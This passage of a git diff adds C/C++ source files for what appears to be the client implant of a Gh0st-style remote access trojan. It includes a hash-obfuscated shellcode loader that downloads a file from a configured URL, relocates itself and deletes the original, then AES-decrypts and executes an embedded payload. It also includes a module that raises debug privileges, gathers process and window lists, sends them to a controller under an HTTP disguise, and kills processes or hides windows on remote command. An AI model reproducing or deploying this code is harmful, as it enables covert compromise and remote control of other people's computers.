||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDataStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA { //, 7 elements, 0x28 bytes
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK { // 2 elements, 0x8 bytes
|
||||
struct _PEB_FREE_BLOCK* pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB { // 65 elements, 0x210 bytes
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
// BKDRHash
|
||||
inline uint32_t calc_hash(const char* str)
|
||||
{
|
||||
uint32_t seed = 131; // 31 131 1313 13131 131313 etc..
|
||||
uint32_t hash = 0;
|
||||
while (*str) {
|
||||
hash = hash * seed + (*str++);
|
||||
}
|
||||
return (hash & 0x7FFFFFFF);
|
||||
}
|
||||
|
||||
inline uint32_t calc_hashW2(const wchar_t* str, int len)
|
||||
{
|
||||
uint32_t seed = 131; // 31 131 1313 13131 131313 etc..
|
||||
uint32_t hash = 0;
|
||||
for (int i = 0; i < len; ++i) {
|
||||
wchar_t s = *str++;
|
||||
if (s >= 'a') s = s - 0x20;
|
||||
hash = hash * seed + s;
|
||||
}
|
||||
return (hash & 0x7FFFFFFF);
|
||||
}
|
||||
|
||||
inline HMODULE get_kernel32_base()
|
||||
{
|
||||
_PPEB peb = NULL;
|
||||
#ifdef _WIN64
|
||||
peb = (_PPEB)__readgsqword(0x60);
|
||||
#else
|
||||
peb = (_PPEB)__readfsdword(0x30);
|
||||
#endif
|
||||
LIST_ENTRY* entry = peb->pLdr->InMemoryOrderModuleList.Flink;
|
||||
while (entry) {
|
||||
PLDR_DATA_TABLE_ENTRY e = (PLDR_DATA_TABLE_ENTRY)entry;
|
||||
if (calc_hashW2(e->BaseDllName.pBuffer, e->BaseDllName.Length / 2) == Kernel32Lib_Hash) {
|
||||
return (HMODULE)e->DllBase;
|
||||
}
|
||||
entry = entry->Flink;
|
||||
}
|
||||
return 0;
|
||||
};
|
||||
|
||||
#define cast(t, a) ((t)(a))
|
||||
#define cast_offset(t, p, o) ((t)((uint8_t *)(p) + (o)))
|
||||
|
||||
void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAddress get_proc_address)
|
||||
{
|
||||
PIMAGE_DOS_HEADER dosh = cast(PIMAGE_DOS_HEADER, module);
|
||||
PIMAGE_NT_HEADERS nth = cast_offset(PIMAGE_NT_HEADERS, module, dosh->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY dataDict = &nth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (dataDict->VirtualAddress == 0 || dataDict->Size == 0) return 0;
|
||||
PIMAGE_EXPORT_DIRECTORY exportDict = cast_offset(PIMAGE_EXPORT_DIRECTORY, module, dataDict->VirtualAddress);
|
||||
if (exportDict->NumberOfNames == 0) return 0;
|
||||
uint32_t* fn = cast_offset(uint32_t*, module, exportDict->AddressOfNames);
|
||||
uint32_t* fa = cast_offset(uint32_t*, module, exportDict->AddressOfFunctions);
|
||||
uint16_t* ord = cast_offset(uint16_t*, module, exportDict->AddressOfNameOrdinals);
|
||||
for (uint32_t i = 0; i < exportDict->NumberOfNames; i++) {
|
||||
char* name = cast_offset(char*, module, fn[i]);
|
||||
uint32_t hash = calc_hash(name);
|
||||
if (hash != func_hash) continue;
|
||||
return get_proc_address == 0 ? cast_offset(void*, module, fa[ord[i]]) : get_proc_address(module, name);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* strstr(const char* h, const char* n)
|
||||
{
|
||||
if (!*n) return (char*)h;
|
||||
for (; *h; h++) {
|
||||
const char* p = h, * q = n;
|
||||
while (*p && *q && *p == *q) p++, q++;
|
||||
if (!*q) return (char*)h;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// A simple shell code loader.
|
||||
// Copy left (c) yuanyuanxiang.
|
||||
#ifdef _DEBUG
|
||||
#define entry main
|
||||
#endif
|
||||
int entry()
|
||||
{
|
||||
HMODULE kernel32 = get_kernel32_base();
|
||||
if (!kernel32) return(1);
|
||||
_GetProcAddress GetProcAddress = (_GetProcAddress)get_proc_address_from_hash(kernel32, GetProcAddress_Hash, 0);
|
||||
_LoadLibraryA LoadLibraryA = (_LoadLibraryA)get_proc_address_from_hash(kernel32, LoadLibraryA_Hash, GetProcAddress);
|
||||
_VirtualAlloc VirtualAlloc = (_VirtualAlloc)get_proc_address_from_hash(kernel32, VirtualAlloc_Hash, GetProcAddress);
|
||||
_VirtualProtect VirtualProtect = (_VirtualProtect)get_proc_address_from_hash(kernel32, VirtualProtect_Hash, GetProcAddress);
|
||||
_Sleep Sleep = (_Sleep)get_proc_address_from_hash(kernel32, Sleep_Hash, GetProcAddress);
|
||||
_GetModuleFileName GetModulePath = (_GetModuleFileName)get_proc_address_from_hash(kernel32, GetModuleFileName_Hash, GetProcAddress);
|
||||
_CreateFileA CreateFileA = (_CreateFileA)get_proc_address_from_hash(kernel32, CreateFileA_Hash, GetProcAddress);
|
||||
_SetFilePointer SetFilePointer = (_SetFilePointer)get_proc_address_from_hash(kernel32, SetFilePointer_Hash, GetProcAddress);
|
||||
_ReadFile ReadFile = (_ReadFile)get_proc_address_from_hash(kernel32, ReadFile_Hash, GetProcAddress);
|
||||
_DeleteFileA DeleteFileA = (_DeleteFileA)get_proc_address_from_hash(kernel32, DeleteFileA_Hash, GetProcAddress);
|
||||
_CopyFileA CopyFileA = (_CopyFileA)get_proc_address_from_hash(kernel32, CopyFileA_Hash, GetProcAddress);
|
||||
_CloseHandle CloseHandle = (_CloseHandle)get_proc_address_from_hash(kernel32, CloseHandle_Hash, GetProcAddress);
|
||||
_IsFileExist IsFileExist = (_IsFileExist)get_proc_address_from_hash(kernel32, IsFileExist_Hash, GetProcAddress);
|
||||
|
||||
if (!sc.file[0]) GetModulePath(NULL, sc.file, MAX_PATH);
|
||||
char* file = sc.file, dstFile[2 * MAX_PATH];
|
||||
if (sc.targetDir[0]) {
|
||||
char curExe[MAX_PATH], * p = dstFile, * dir = sc.targetDir;
|
||||
GetModulePath(NULL, curExe, MAX_PATH);
|
||||
while (*dir) *p++ = *dir++;
|
||||
*p++ = '\\';
|
||||
while (*file) *p++ = *file++;
|
||||
*p = '\0';
|
||||
char name[] = { 'u','r','l','m','o','n','\0' };
|
||||
HMODULE urlmon = LoadLibraryA(name);
|
||||
_Download URLDownloadToFileA = urlmon ? (_Download)get_proc_address_from_hash(urlmon, Download_Hash, GetProcAddress) : NULL;
|
||||
if (sc.downloadUrl[0] && IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES && URLDownloadToFileA) {
|
||||
if (FAILED(URLDownloadToFileA(NULL, sc.downloadUrl, dstFile, 0, NULL))) return(-1);
|
||||
}
|
||||
file = dstFile;
|
||||
if (!strstr(curExe, sc.targetDir)) {
|
||||
BOOL b = CopyFileA(sc.file, dstFile, FALSE);
|
||||
DeleteFileA(sc.file);
|
||||
if (IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES) return(2);
|
||||
}
|
||||
}
|
||||
HANDLE hFile = CreateFileA(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) return(3);
|
||||
SetFilePointer(hFile, (LONG)sc.offset, NULL, FILE_BEGIN);
|
||||
DWORD bytesRead = 0;
|
||||
sc.data = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!ReadFile(hFile, sc.data, sc.len, &bytesRead, NULL)) return(4);
|
||||
CloseHandle(hFile);
|
||||
if (!sc.data || !sc.len) return(5);
|
||||
struct AES_ctx ctx;
|
||||
AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
|
||||
AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
|
||||
DWORD oldProtect = 0;
|
||||
if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return(6);
|
||||
((void(*)())sc.data)();
|
||||
Sleep(INFINITE);
|
||||
|
||||
return(0);
|
||||
}
|
||||
9
client/StdAfx.cpp
Normal file
9
client/StdAfx.cpp
Normal file
@@ -0,0 +1,9 @@
|
||||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// ClientDll.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
char g_MasterID[_MAX_PATH] = {};
|
||||
71
client/StdAfx.h
Normal file
71
client/StdAfx.h
Normal file
@@ -0,0 +1,71 @@
|
||||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
||||
|
||||
// 是否使用ZLIB
|
||||
#define USING_ZLIB 0
|
||||
|
||||
#if !USING_ZLIB
|
||||
|
||||
#define USING_ZSTD 1
|
||||
#define USING_CTX 1
|
||||
|
||||
#endif
|
||||
|
||||
// 是否使用 Opus 音频压缩 (需要 opus 库)
|
||||
// 设为 1 启用 Opus 压缩,设为 0 使用 PCM 无压缩
|
||||
#define USING_OPUS 1
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#ifdef _DEBUG
|
||||
// 检测内存泄漏,需安装VLD;否则请注释此行
|
||||
#include "vld.h"
|
||||
#ifndef VLD_RPTHOOK_REMOVE
|
||||
#error 检测内存泄漏,需安装VLD;否则请注释#include "vld.h",或使用Release编译
|
||||
#endif
|
||||
#define USING_SAFETHRED 0
|
||||
#define IsDebug 1
|
||||
#else
|
||||
#define USING_SAFETHRED 1
|
||||
#define IsDebug 0
|
||||
#endif
|
||||
|
||||
// Insert your headers here
|
||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
||||
|
||||
//{{AFX_INSERT_LOCATION}}
|
||||
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
|
||||
|
||||
#endif // !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||
|
||||
#include <assert.h>
|
||||
#include <MMSystem.h>
|
||||
#pragma comment(lib, "winmm.lib")
|
||||
|
||||
#ifndef SAFE_DELETE
|
||||
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
#ifndef SAFE_DELETE_ARRAY
|
||||
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
#ifndef SAFE_DELETE_AR
|
||||
#define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
|
||||
|
||||
#include "common/logger.h"
|
||||
#include "common/locker.h"
|
||||
319
client/SystemManager.cpp
Normal file
319
client/SystemManager.cpp
Normal file
@@ -0,0 +1,319 @@
|
||||
// SystemManager.cpp: implementation of the CSystemManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "SystemManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
#include <TLHELP32.H>
|
||||
|
||||
#ifndef PSAPI_VERSION
|
||||
#define PSAPI_VERSION 1
|
||||
#endif
|
||||
|
||||
#include <Psapi.h>
|
||||
#include "ShellcodeInj.h"
|
||||
|
||||
#pragma comment(lib,"psapi.lib")
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject)
|
||||
{
|
||||
if (bHow==COMMAND_SYSTEM) {
|
||||
//进程
|
||||
SendProcessList();
|
||||
} else if (bHow==COMMAND_WSLIST) {
|
||||
//窗口
|
||||
SendWindowsList();
|
||||
}
|
||||
}
|
||||
|
||||
VOID CSystemManager::SendProcessList()
|
||||
{
|
||||
LPBYTE szBuffer = GetProcessList(); //得到进程列表的数据
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
|
||||
LocalFree(szBuffer);
|
||||
|
||||
szBuffer = NULL;
|
||||
}
|
||||
|
||||
void CSystemManager::SendWindowsList()
|
||||
{
|
||||
LPBYTE szBuffer = GetWindowsList(); //得到窗口列表的数据
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
LPBYTE CSystemManager::GetProcessList()
|
||||
{
|
||||
DebugPrivilege(SE_DEBUG_NAME, TRUE); //提取权限
|
||||
HANDLE hProcess = NULL;
|
||||
HANDLE hSnapshot = NULL;
|
||||
PROCESSENTRY32 pe32 = { 0 };
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
char szProcessFullPath[MAX_PATH] = { 0 };
|
||||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
DWORD dwOffset = 0;
|
||||
DWORD dwLength = 0;
|
||||
DWORD cbNeeded = 0;
|
||||
HMODULE hModules = NULL; //进程中第一个模块的句柄
|
||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //暂时分配一下缓冲区
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
szBuffer[0] = TOKEN_PSLIST; //注意这个是数据头
|
||||
dwOffset = 1;
|
||||
if (Process32First(hSnapshot, &pe32)) { //得到第一个进程顺便判断一下系统快照是否成功
|
||||
do {
|
||||
memset(szProcessFullPath, 0, sizeof(szProcessFullPath)); // 清空路径缓冲区
|
||||
|
||||
//打开进程并返回句柄
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
|
||||
FALSE, pe32.th32ProcessID); //打开目标进程
|
||||
|
||||
if (hProcess != NULL) {
|
||||
// 优先使用 QueryFullProcessImageName(不受32/64位限制)
|
||||
DWORD dwSize = MAX_PATH;
|
||||
if (!QueryFullProcessImageNameA(hProcess, 0, szProcessFullPath, &dwSize)) {
|
||||
// 回退到原来的方法
|
||||
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
|
||||
DWORD dwReturn = GetModuleFileNameExA(hProcess, hModules,
|
||||
szProcessFullPath,
|
||||
sizeof(szProcessFullPath));
|
||||
if (dwReturn == 0) {
|
||||
strcpy(szProcessFullPath, pe32.szExeFile); // 最后用进程名
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess); // 关闭进程句柄,防止泄漏
|
||||
} else {
|
||||
// OpenProcess 失败,使用快照中的进程名
|
||||
strcpy(szProcessFullPath, pe32.szExeFile);
|
||||
}
|
||||
|
||||
BOOL is64Bit = FALSE;
|
||||
// 重新打开进程检测位数(因为上面已关闭)
|
||||
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess != NULL) {
|
||||
ShellcodeInj::IsProcess64Bit(hProcess, is64Bit);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
const char* arch = is64Bit ? "x64" : "x86";
|
||||
char exeFile[300];
|
||||
sprintf(exeFile, "%s:%s", pe32.szExeFile, arch);
|
||||
|
||||
//开始计算占用的缓冲区, 我们关心他的发送的数据结构
|
||||
// 此进程占用数据大小
|
||||
dwLength = sizeof(DWORD) +
|
||||
lstrlen(exeFile) + lstrlen(szProcessFullPath) + 2;
|
||||
// 缓冲区太小,再重新分配下
|
||||
if (LocalSize(szBuffer) < (dwOffset + dwLength)) {
|
||||
LPBYTE newBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||
LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||||
if (newBuffer == NULL) {
|
||||
// 内存分配失败,返回已有数据
|
||||
SAFE_CLOSE_HANDLE(hSnapshot);
|
||||
DebugPrivilege(SE_DEBUG_NAME, FALSE);
|
||||
return szBuffer;
|
||||
}
|
||||
szBuffer = newBuffer;
|
||||
}
|
||||
//接下来三个memcpy就是向缓冲区里存放数据 数据结构是
|
||||
//进程ID+进程名+0+进程完整名+0 进程
|
||||
//因为字符数据是以0 结尾的
|
||||
memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
|
||||
dwOffset += sizeof(DWORD);
|
||||
memcpy(szBuffer + dwOffset, exeFile, lstrlen(exeFile) + 1);
|
||||
dwOffset += lstrlen(exeFile) + 1;
|
||||
memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1);
|
||||
dwOffset += lstrlen(szProcessFullPath) + 1;
|
||||
|
||||
} while (Process32Next(hSnapshot, &pe32)); //继续得到下一个快照
|
||||
}
|
||||
DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权
|
||||
SAFE_CLOSE_HANDLE(hSnapshot); //释放句柄
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
CSystemManager::~CSystemManager()
|
||||
{
|
||||
Mprintf("系统析构\n");
|
||||
}
|
||||
|
||||
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)
|
||||
{
|
||||
BOOL bResult = TRUE;
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES TokenPrivileges;
|
||||
|
||||
//进程 Token 令牌
|
||||
if (!OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
|
||||
bResult = FALSE;
|
||||
return bResult;
|
||||
}
|
||||
TokenPrivileges.PrivilegeCount = 1;
|
||||
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
LookupPrivilegeValue(NULL, szName, &TokenPrivileges.Privileges[0].Luid);
|
||||
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||||
if (GetLastError() != ERROR_SUCCESS) {
|
||||
bResult = FALSE;
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0]) {
|
||||
case COMMAND_PSLIST: {
|
||||
SendProcessList();
|
||||
break;
|
||||
}
|
||||
case COMMAND_KILLPROCESS: {
|
||||
KillProcess((LPBYTE)szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
}
|
||||
case COMMAND_WSLIST: {
|
||||
SendWindowsList();
|
||||
break;
|
||||
}
|
||||
|
||||
case CMD_WINDOW_CLOSE: {
|
||||
HWND hWnd = *((HWND*)(szBuffer+1));
|
||||
|
||||
::PostMessage(hWnd,WM_CLOSE,0,0);
|
||||
|
||||
Sleep(100);
|
||||
SendWindowsList();
|
||||
|
||||
break;
|
||||
}
|
||||
case CMD_WINDOW_TEST: { //操作窗口
|
||||
TestWindow(szBuffer+1);
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CSystemManager::TestWindow(LPBYTE szBuffer) //窗口的最大 最小 隐藏都在这里处理
|
||||
{
|
||||
DWORD Hwnd;
|
||||
DWORD dHow;
|
||||
memcpy((void*)&Hwnd,szBuffer,sizeof(DWORD)); //得到窗口句柄
|
||||
memcpy(&dHow,szBuffer+sizeof(DWORD),sizeof(DWORD)); //得到窗口处理参数
|
||||
ShowWindow((HWND__ *)Hwnd,dHow);
|
||||
//窗口句柄 干啥(大 小 隐藏 还原)
|
||||
}
|
||||
|
||||
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength)
|
||||
{
|
||||
HANDLE hProcess = NULL;
|
||||
DebugPrivilege(SE_DEBUG_NAME, TRUE); //提权
|
||||
|
||||
for (int i = 0; i < ulLength; i += 4)
|
||||
//因为结束的可能个不止是一个进程
|
||||
{
|
||||
//打开进程
|
||||
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(szBuffer + i));
|
||||
//结束进程
|
||||
TerminateProcess(hProcess, 0);
|
||||
SAFE_CLOSE_HANDLE(hProcess);
|
||||
}
|
||||
DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权
|
||||
// 稍稍Sleep下,防止出错
|
||||
Sleep(100);
|
||||
}
|
||||
|
||||
LPBYTE CSystemManager::GetWindowsList()
|
||||
{
|
||||
LPBYTE szBuffer = NULL; //char* p = NULL &p
|
||||
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&szBuffer); //注册函数
|
||||
//如果API函数参数当中有函数指针存在
|
||||
//就是向系统注册一个 回调函数
|
||||
|
||||
// 检查是否有窗口被枚举到,避免空指针访问
|
||||
if (szBuffer == NULL) {
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
}
|
||||
szBuffer[0] = TOKEN_WSLIST;
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要数据 **
|
||||
{
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwOffset = 0;
|
||||
DWORD dwProcessID = 0;
|
||||
LPBYTE szBuffer = *(LPBYTE*)lParam;
|
||||
char szTitle[1024];
|
||||
memset(szTitle, 0, sizeof(szTitle));
|
||||
//得到系统传递进来的窗口句柄的窗口标题
|
||||
GetWindowText(hWnd, szTitle, sizeof(szTitle));
|
||||
//这里判断 窗口是否可见 或标题为空
|
||||
BOOL m_bShowHidden = TRUE;
|
||||
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
|
||||
return true;
|
||||
}
|
||||
if (lstrlen(szTitle) == 0)
|
||||
return true;
|
||||
|
||||
// ========== 新增:获取窗口属性 ==========
|
||||
// 窗口状态
|
||||
const char* szStatus = "normal";
|
||||
if (IsIconic(hWnd)) {
|
||||
szStatus = "minimized";
|
||||
} else if (IsZoomed(hWnd)) {
|
||||
szStatus = "maximized";
|
||||
} else if (!IsWindowVisible(hWnd)) {
|
||||
szStatus = "hidden";
|
||||
}
|
||||
|
||||
// 所属进程ID
|
||||
DWORD dwPid = 0;
|
||||
GetWindowThreadProcessId(hWnd, &dwPid);
|
||||
|
||||
// 拼接属性到标题末尾
|
||||
// 格式: 标题|状态|PID|保留1|保留2
|
||||
// 解析时从末尾按 | 分割,保留字段方便未来扩展
|
||||
char szTitleWithAttrs[1200];
|
||||
sprintf(szTitleWithAttrs, "%s|%s|%lu|0|0", szTitle, szStatus, dwPid);
|
||||
// ========== 新增结束 ==========
|
||||
|
||||
//同进程管理一样我们注意他的发送到主控端的数据结构
|
||||
if (szBuffer == NULL)
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //暂时分配缓冲区
|
||||
if (szBuffer == NULL)
|
||||
return FALSE;
|
||||
//[消息][4Notepad.exe\0]
|
||||
dwLength = sizeof(DWORD) + lstrlen(szTitleWithAttrs) + 1; // 使用新标题
|
||||
dwOffset = LocalSize(szBuffer); //1
|
||||
//重新计算缓冲区大小
|
||||
LPBYTE newBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||||
if (newBuffer == NULL) {
|
||||
// 内存分配失败,保留已有数据,跳过此窗口继续枚举
|
||||
return TRUE;
|
||||
}
|
||||
szBuffer = newBuffer;
|
||||
//下面两个memcpy就能看到数据结构为 hwnd+窗口标题+0
|
||||
memcpy((szBuffer + dwOffset), &hWnd, sizeof(DWORD));
|
||||
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitleWithAttrs, lstrlen(szTitleWithAttrs) + 1); // 使用新标题
|
||||
*(LPBYTE*)lParam = szBuffer;
|
||||
return TRUE;
|
||||
}
|
||||
31
client/SystemManager.h
Normal file
31
client/SystemManager.h
Normal file
@@ -0,0 +1,31 @@
|
||||
// SystemManager.h: interface for the CSystemManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
||||
#define AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
class CSystemManager : public CManager
|
||||
{
|
||||
public:
|
||||
CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr);
|
||||
virtual ~CSystemManager();
|
||||
LPBYTE GetProcessList();
|
||||
VOID SendProcessList();
|
||||
BOOL DebugPrivilege(const char *szName, BOOL bEnable);
|
||||
